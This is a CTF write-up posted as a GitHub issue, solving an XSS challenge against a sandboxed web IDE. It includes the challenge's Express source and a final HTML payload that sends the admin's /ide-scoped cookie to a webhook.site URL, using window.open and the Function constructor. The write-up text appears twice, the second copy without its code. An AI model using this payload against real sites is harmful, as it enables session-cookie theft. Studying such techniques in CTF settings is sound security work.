You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
It's like a Web IDE, you can write code on the UI and see the result:
Source code is available:
constexpress=require('express');constcrypto=require('crypto');constapp=express();constadminPassword=crypto.randomBytes(16).toString('hex');constbodyParser=require('body-parser');app.use(require('cookie-parser')());// don't let people iframeapp.use('/',(req,res,next)=>{res.setHeader('X-Frame-Options','DENY');returnnext();});// sandbox the sandboxapp.use('/sandbox.html',(req,res,next)=>{res.setHeader('Content-Security-Policy','frame-src \'none\'');// we have to allow this for obvious reasonsres.removeHeader('X-Frame-Options');returnnext();});// serve static filesapp.use(express.static('public/root'));app.use('/login',express.static('public/login'));// handle login endpointapp.use('/ide/login',bodyParser.urlencoded({extended: false}));app.post('/ide/login',(req,res)=>{const{ user, password }=req.body;switch(user){case'guest':
returnres.cookie('token','guest',{path: '/ide',sameSite: 'none',secure: true}).redirect('/ide/');case'admin':
if(password===adminPassword)returnres.cookie('token',`dice{${process.env.FLAG}}`,{path: '/ide',sameSite: 'none',secure: true}).redirect('/ide/');break;}res.status(401).end();});// handle file savingapp.use('/ide/save',bodyParser.raw({extended: false,limit: '32kb',type: 'application/javascript'}));constfiles=newMap();app.post('/ide/save',(req,res)=>{// only admins can save filesif(req.cookies.token!==`dice{${process.env.FLAG}}`)returnres.status(401).end();constdata=req.body;constid=`${crypto.randomBytes(8).toString('hex')}.js`;files.set(id,data);res.type('text/plain').send(id).end();});app.get('/ide/saves/:id',(req,res)=>{// only admins can view filesif(req.cookies.token!==`dice{${process.env.FLAG}}`)returnres.status(401).end();constdata=files.get(req.params.id);if(!data)returnres.status(404).end();res.type('application/javascript').send(data).end();});// serve static files at ide, but auth firstapp.use('/ide',(req,res,next)=>{switch(req.cookies.token){case'guest':
returnnext();case`dice{${process.env.FLAG}}`:
returnnext();default:
returnres.redirect('/login');}});app.use('/ide',express.static('public/ide'));app.listen(3000);
The goal is to steal admin's cookie, so it's another XSS challenge!
(async()=>{awaitnewPromise((r)=>{window.addEventListener(('load'),r);});document.getElementById('run').addEventListener('click',()=>{document.querySelector('iframe').contentWindow.postMessage(document.querySelector('textarea').value,'*');});document.getElementById('save').addEventListener('click',async()=>{constresponse=awaitfetch('/ide/save',{method: 'POST',body: document.querySelector('textarea').value,headers: {'Content-Type': 'application/javascript'}});if(response.status===200){window.location=`/ide/saves/${awaitresponse.text()}`;return;}alert('You are not an admin.');});})();
When user clicks "Run Code", it postMessage to the iframe sandbox.html, that's all.
The cookie has path: /ide but the path of sandbox.html is /, so we can't get cookie from /sandbox.html
I have tried couple of ways but none of them work, like:
Change /sandbox.html to /ide/..%2fsandbox.html but script won't load
Try to use iframe with src /ide but it fails because of X-Frame-Options
Change location to /ide and alert document.cookie again
I also tried to google the keyword like: get subpath cookie ctf or get another path cookie but still can't find any useful resource.
Suddenly, I have an idea about window.open
The return value of the window.open is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie works?
So I tried this:
varw1=window.open('https://web-ide.dicec.tf/ide')// wait for window loadedsetTimeout(()=>{alert(w1.document.cookie)},2000)
To my surprise, it works!
I checked the mdn, it seems we can get window as long as it's same origin.
Combined with the function constructor, here is the final payload(I formatted it a bit for readability):
<!DOCTYPEhtml><html><head></head><body><iframename="f"onload="run()"src="https://web-ide.dicec.tf/sandbox.html"></iframe><script>
function run() {window.frames.f.postMessage(`([].map.constructor(' var w1=window.open("https://web-ide.dicec.tf/ide"); setTimeout(()=>{ var c=document.createElement("img"); c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie; document.body.appendChild(c) }, 2000) '))()`,'*')}</script></body></html>
After host this file and send the link to admin bot, we can get the flag.
The text was updated successfully, but these errors were encountered:
It's like a Web IDE, you can write code on the UI and see the result:
Source code is available:
The goal is to steal admin's cookie, so it's another XSS challenge!
First, we need to know how this web IDE works.
It's the ide html source code:
And
src/index.js
When user clicks "Run Code", it
postMessage
to the iframesandbox.html
, that's all.Then, we need to check sandbox.html:
src/sandbox.js
It listens to
window.message
event and pass the data tosafeEval
. It's wrapped in a Proxy so onlywindow.console
andwindow.eval
are available.We can see result at right side because it overrides
console.log
.The first thing we need to bypass is the window proxy.
From what I know, there are couple of ways to execute arbitrary js:
We can choose the one without accessing window:
function constructor
!We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.
Replace
alert(1)
withalert(document.cookie)
, we can see the cookie:Wait, where is the cookie?
I checked the source code again and found this:
The cookie has
path: /ide
but the path of sandbox.html is/
, so we can't get cookie from/sandbox.html
I have tried couple of ways but none of them work, like:
/sandbox.html
to/ide/..%2fsandbox.html
but script won't load/ide
but it fails because ofX-Frame-Options
/ide
and alert document.cookie againI also tried to google the keyword like:
get subpath cookie ctf
orget another path cookie
but still can't find any useful resource.Suddenly, I have an idea about
window.open
The return value of the
window.open
is the window of the new tab. So if we can access this window object, maybenewWindow.document.cookie
works?So I tried this:
To my surprise, it works!
I checked the mdn, it seems we can get window as long as it's same origin.
Combined with the function constructor, here is the final payload(I formatted it a bit for readability):
After host this file and send the link to admin bot, we can get the flag.
The text was updated successfully, but these errors were encountered: